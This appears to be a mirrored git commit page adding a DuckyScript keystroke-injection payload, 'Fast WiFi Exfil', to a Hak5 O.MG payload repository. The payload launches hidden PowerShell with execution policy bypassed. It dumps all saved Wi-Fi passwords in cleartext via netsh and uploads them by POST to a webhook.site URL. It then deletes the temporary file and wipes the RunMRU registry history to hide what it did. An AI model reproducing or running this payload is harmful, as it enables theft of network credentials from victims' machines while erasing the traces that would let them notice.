mirror of https://github.com/hak5/omg-payloads.git
Merge pull request #99 from Scrut1ny/patch-1
Fast WiFi Exfil (Powershell - No RunMRU History)pull/100/head
commit
bb47bbc869
|
@ -0,0 +1,17 @@
|
|||
DELAY 1000
|
||||
GUI r
|
||||
DELAY 200
|
||||
STRING powershell -w h -ep bypass "function w{switch -r(netsh wl sh pr){':\s(.+)'{$s=$matches.1;switch -r(netsh wl sh pr n=$s k=clear){'tent.+:\s(.+)'{[PSCustomObject]@{SSID=$s;Pass=$matches.1}}}}}};$w=w;echo $w > $env:tmp\Wi-Fi-PASS"
|
||||
ENTER
|
||||
DELAY 100
|
||||
GUI r
|
||||
DELAY 200
|
||||
STRING powershell -w h -ep bypass Invoke-WebRequest -Uri https://webhook.site/<Unique Webhook URL> -Method POST -InFile $env:tmp\Wi-Fi-PASS;Remove-Item $env:tmp\Wi-Fi-PASS -Force -ErrorAction SilentlyContinue
|
||||
ENTER
|
||||
DELAY 100
|
||||
GUI r
|
||||
DELAY 200
|
||||
STRING powershell -w h -ep bypass Remove-ItemProperty -Path ‘HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU’ -Name ‘*’ -ErrorAction SilentlyContinue
|
||||
ENTER
|
||||
DELAY 100
|
||||
EXIT
|
Loading…
Reference in New Issue